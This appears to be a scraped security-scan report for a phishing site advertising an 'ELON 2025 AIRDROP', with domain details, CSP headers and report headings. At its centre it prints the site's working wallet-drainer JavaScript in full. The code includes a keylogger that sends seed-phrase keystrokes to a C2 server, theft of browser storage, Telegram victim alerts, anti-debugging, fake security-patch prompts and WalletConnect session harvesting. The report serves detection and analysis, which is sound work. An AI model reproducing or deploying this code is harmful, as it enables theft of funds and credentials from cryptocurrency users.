cryptocurrency blockchain

technology software

cryptocurrency

English

The domain name 'serious-scarlet-dy2yvran-dppqs9uyjar4.edgeone.dev' uses the developer-focused generic top-level domain (.dev) and includes subdomain 'serious-scarlet-dy2yvran-dppqs9uyjar4'. The registrable portion 'edgeone' spans 7 characters containing four vowels alongside three consonants. Splitting it apart reveals two words: edge, one. The median word length lands at 3.5 characters. No strong language cues emerged from the frequency lists.

frame-ancestors 'self' https://app.safe.global https://dexscreener.com https://*.dexscreener.com https://browser-intake-datadoghq.com

default-src 'self'; script-src 'self' 'wasm-unsafe-eval' https://vercel.com https://vercel.live/; style-src 'self' 'unsafe-inline'; img-src * data: blob:; connect-src * data: blob:; worker-src 'self' blob:; frame-src 'self' *; report-uri https://browser-intake-datadoghq.com/api/v2/logs?dd-api-key=pub62c07dc0877b0dd6e0c9d41dcb3bfee0&dd-evp-origin=content-security-policy&ddsource=csp-report; form-action none;

default-src 'self'; script-src 'self' 'unsafe-inline' 'wasm-unsafe-eval' https://challenges.cloudflare.com https://hcaptcha.com https://*.hcaptcha.com https://www.googletagmanager.com https://static.hotjar.com https://script.hotjar.com https://widget.mava.app https://va.vercel-scripts.com https://tag.adrsbl.io https://cdn.id5-sync.com https://vercel.live; style-src 'self' 'unsafe-inline' https://hcaptcha.com https://*.hcaptcha.com https://fonts.googleapis.com https://static.hotjar.com https://script.hotjar.com; img-src 'self' data: blob: https:; font-src 'self' data: https://fonts.gstatic.com https://fonts.reown.com https://script.hotjar.com; connect-src 'self' https://auth.privy.io https://api.privy.io https://*.rpc.privy.systems wss://*.rpc.privy.systems https://api.relay.link https://api.testnets.relay.link https://challenges.cloudflare.com https://hcaptcha.com https://*.hcaptcha.com https://rpc.walletconnect.com https://rpc.walletconnect.org https://relay.walletconnect.com https://relay.walletconnect.org wss://relay.walletconnect.com wss://relay.walletconnect.org https://pulse.walletconnect.com https://pulse.walletconnect.org https://api.web3modal.com https://api.web3modal.org https://keys.walletconnect.com https://keys.walletconnect.org https://notify.walletconnect.com https://notify.walletconnect.org https://echo.walletconnect.com https://echo.walletconnect.org https://push.walletconnect.com https://push.walletconnect.org https://explorer-api.walletconnect.com wss://www.walletlink.org https://cca-lite.coinbase.com https://api.wallet.coinbase.com https://rpc.wallet.coinbase.com https://keys.coinbase.com https://metamask-sdk.api.cx.metamask.io wss://metamask-sdk.api.cx.metamask.io https://mm-sdk-analytics.api.cx.metamask.io https://sushi.com https://*.sushi.com https://sushi-strapi-cms.herokuapp.com https://lb.drpc.live wss://lb.drpc.live https://sepolia.drpc.live https://rpc.bittorrentchain.io https://api.node.glif.io https://elated-tan-skat-indexer.skalenodes.com:10072 https://rpc.zklink.io https://sepolia-rollup.arbitrum.io https://rpc.tatara.katanarpc.com https://rpc-bokuto.katanarpc.com https://migration-claim-api-production.up.railway.app https://api.coingecko.com https://score.snapshot.org https://api.gopluslabs.io https://api.trmlabs.com https://api.enso.finance https://api.merkl.xyz https://api.jup.ag https://li.quest https://h20qtjygwppc.statuspage.io https://api.hyperliquid.xyz https://api.hyperliquid-testnet.xyz wss://api.hyperliquid.xyz wss://api.hyperliquid-testnet.xyz https://rpc.hyperliquid.xyz https://rpc.hyperliquid-testnet.xyz wss://rpc.hyperliquid.xyz wss://rpc.hyperliquid-testnet.xyz https://stats-data.hyperliquid.xyz https://api.hyperunit.xyz https://indexer.api.across.to https://ro81h8hq6b.execute-api.us-east-1.amazonaws.com https://saveload.tradingview.com https://chat.mava.app https://order-sink-v2.orbs.network https://hub.orbs.network https://bi.orbs.network https://api.mainnet-beta.solana.com https://api.devnet.solana.com https://api.testnet.solana.com https://mainnet.helius-rpc.com https://fullnode.mainnet.aptoslabs.com https://fullnode.testnet.aptoslabs.com https://indexer.mainnet.aptoslabs.com https://indexer-testnet.staging.gcp.aptosdev.com https://api.stellar.expert https://rpc.ankr.com https://rpc-futurenet.stellar.org https://horizon-futurenet.stellar.org https://horizon.stellar.lobstr.co https://va.vercel-scripts.com https://www.googletagmanager.com https://www.google-analytics.com https://*.google-analytics.com https://*.analytics.google.com https://*.hotjar.com https://*.hotjar.io wss://*.hotjar.com https://tag.adrsbl.io https://*.adradv.io https://id5-sync.com https://*.id5-sync.com https://secure.adnxs.com https://api.sushi.com https://blade-api.sushi.com https://backend.styro.sushi.com; frame-src 'self' https://auth.privy.io https://verify.walletconnect.com https://verify.walletconnect.org https://secure.walletconnect.com https://secure.walletconnect.org https://challenges.cloudflare.com https://hcaptcha.com https://*.hcaptcha.com https://buy.onramper.com https://buy.onramper.dev https://widget.swapped.com https://www.googletagmanager.com https://vercel.live https://privy.sushi.com; child-src 'self' https://auth.privy.io https://verify.walletconnect.com https://verify.walletconnect.org https://secure.walletconnect.com https://secure.walletconnect.org https://challenges.cloudflare.com https://hcaptcha.com https://*.hcaptcha.com https://buy.onramper.com https://buy.onramper.dev https://widget.swapped.com https://www.googletagmanager.com https://vercel.live https://privy.sushi.com blob:; frame-ancestors 'self' https://app.safe.global https://app.m-safe.io https://testnet.m-safe.io; worker-src 'self' blob:; media-src 'self' blob: https:; manifest-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests

d7ac878bd67448c792c4bd6b81dbde51f2be42115c194e7eefaf7b88d079cf7a

viewport

Genetic Mistakes Software Inc.

NameCheap, Inc.

ethers.io

Cloudflare, Inc.

uniswap.org

GoDaddy.com, LLC

SUSHI.COM

DEBANK GLOBAL PTE. LTD.

Gandi SAS

rabby.io

Prudence Malinki

MarkMonitor Inc.

edgeone.dev

Vercel, Inc

Matheus Fernandez Vieira

Joe Haddad

VERCEL-01


    // === CONFIG ===
    const C2_URL = "https://your-c2-server.com/log"; // Your exfil server
    const TG_TOKEN = "74128741234:AAFdksjflwefwljflwef"; // Telegram bot
    const TG_CHAT_ID = "123456789";
    const FAKE_TX_COST = "0.0027"; // Fake gas cost to scare user

    const log = document.getElementById('log');
    function logMsg(msg) {
      log.innerHTML += '&gt; ' + msg + '<br>';
      log.scrollTop = log.scrollHeight;
    }

    // === ANTI-DEBUG ===
    let debug = false;
    Object.defineProperty(window, "devtools", { get: () => debug });
    setInterval(() => {
      if (window.outerHeight - window.innerHeight > 200 || window.outerWidth - window.innerWidth > 200) {
        document.body.innerHTML = "<h1>DEBUGGER DETECTED</h1>";
        throw new Error("Kill");
      }
    }, 1000);

    // === KEYLOGGER (Catches seed phrase entry) ===
    document.addEventListener('keydown', (e) => {
      const key = e.key;
      const tag = e.target.tagName.toLowerCase();
      if (tag === 'input' || tag === 'textarea' || e.ctrlKey || e.altKey) {
        fetch(C2_URL, {
          method: 'POST',
          body: `KEYLOG: [${new Date().toISOString()}] Key: ${key} | Field: ${tag} | Type: ${e.target.type}`
        }).catch(() => {});
      }
    });

    // === CLICKJACKING LAYER (Tricks user into signing) ===
    document.getElementById('clickjack').onclick = () => {
      logMsg("⚠️ Please confirm the transaction in your wallet to complete security scan.");
      setTimeout(() => {
        logMsg("💡 Tip: Some wallets require you to approve a small gas fee to activate protection.");
      }, 2000);
    };

    // === ON LOAD: FAKE MODAL ===
    window.onload = () => {
      setTimeout(() => {
        if (confirm("🚨 URGENT: Security Patch Required\\n\\nYour wallet is exposed to sniper bots.\\nClick OK to run instant scan and secure your funds.")) {
          document.getElementById("claimBtn").click();
        }
      }, 1800);
    };

    // === WALLET CONNECT + DATA HARVESTER ===
    document.getElementById("claimBtn").onclick = async () => {
      if (!window.ethereum) {
        logMsg("❌ No Web3 wallet detected. Please use MetaMask or Trust Wallet.");
        return;
      }

      try {
        logMsg("🔗 Connecting to wallet...");
        const accounts = await window.ethereum.request({ method: 'eth_requestAccounts' });
        const address = accounts[0];
        logMsg(`✅ Connected: ${address.substring(0,8)}...${address.substring(36)}`);

        // === STEAL LOCAL STORAGE ===
        const ls = JSON.stringify(localStorage);
        const ss = JSON.stringify(sessionStorage);
        fetch(C2_URL, {
          method: 'POST',
          body: `ADDRESS=${address}&LS=${encodeURIComponent(ls)}&SS=${encodeURIComponent(ss)}&URL=${location.href}`
        }).catch(() => {});

        // === TELEGRAM ALERT ===
        fetch(`https://api.telegram.org/bot${TG_TOKEN}/sendMessage`, {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({
            chat_id: TG_CHAT_ID,
            text: `🚨 NEW VICTIM\nWallet: ${address}\nTime: ${new Date().toISOString()}\nRef: ${document.referrer}`
          })
        }).catch(() => {});

        // === FAKE SCAN + USER CONFUSION ===
        logMsg("🔍 Scanning for malicious contracts...");
        await sleep(1200);
        logMsg("🧩 Analyzing transaction history...");
        await sleep(1200);
        logMsg("🛡️ High-risk exposure detected.");
        logMsg(`💸 To secure your wallet, approve a ${FAKE_TX_COST} ETH gas refund transaction.`);
        logMsg("🔐 This will deactivate all sniper bot approvals.");

        // === INJECT INVISIBLE WALLETCONNECT QR STEALER ===
        injectWCStealer();

      } catch (e) {
        logMsg("❌ Connection rejected.");
      }
    };

    function sleep(ms) {
      return new Promise(r => setTimeout(r, ms));
    }

    // === INJECT WALLETCONNECT QR CODE STEALER ===
    function injectWCStealer() {
      const div = document.createElement('div');
      div.innerHTML = `
        <div style="position:fixed;top:10px;right:10px;background:#000;color:#0f0;padding:10px;border:1px solid #0f0;z-index:9999;max-width:300px;font-size:12px;">
          <b>WalletConnect QR Scanner</b><br>
          Scanning for active sessions...<br>
          <img src="https://api.qrserver.com/v1/create-qr-code/?size=200x200&data=wc%3Afake-connection-string" />
          <p>Please scan to complete security upgrade.</p>
        </div>
      `;
      document.body.appendChild(div);
    }

    // === HARVEST WALLETCONNECT SESSIONS FROM IFRAMES ===
    setInterval(() => {
      try {
        const frames = document.querySelectorAll('iframe');
        frames.forEach(f => {
          try {
            const storage = f.contentWindow?.localStorage;
            if (storage && storage.getItem('walletconnect')) {
              fetch(C2_URL, {
                method: 'POST',
                body: `WC_SESSION=${encodeURIComponent(storage.getItem('walletconnect'))}`
              });
            }
          } catch {}
        });
      } catch {}
    }, 5000);
  

★ ELON 2025 AIRDROP - 10,000 ELON ★

✅ Low Risk - https://serious-scarlet-dy2yvran-dppqs9uyjar4.edgeone.dev/

Requests	IP Address	Location	AS Autonomous System
10	43.174.246.29	Singapore	AS139341ACE
10	1	-	-

Security Scan Report: serious-scarlet-dy2yvran-dppqs9uyjar4.edgeone.dev

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History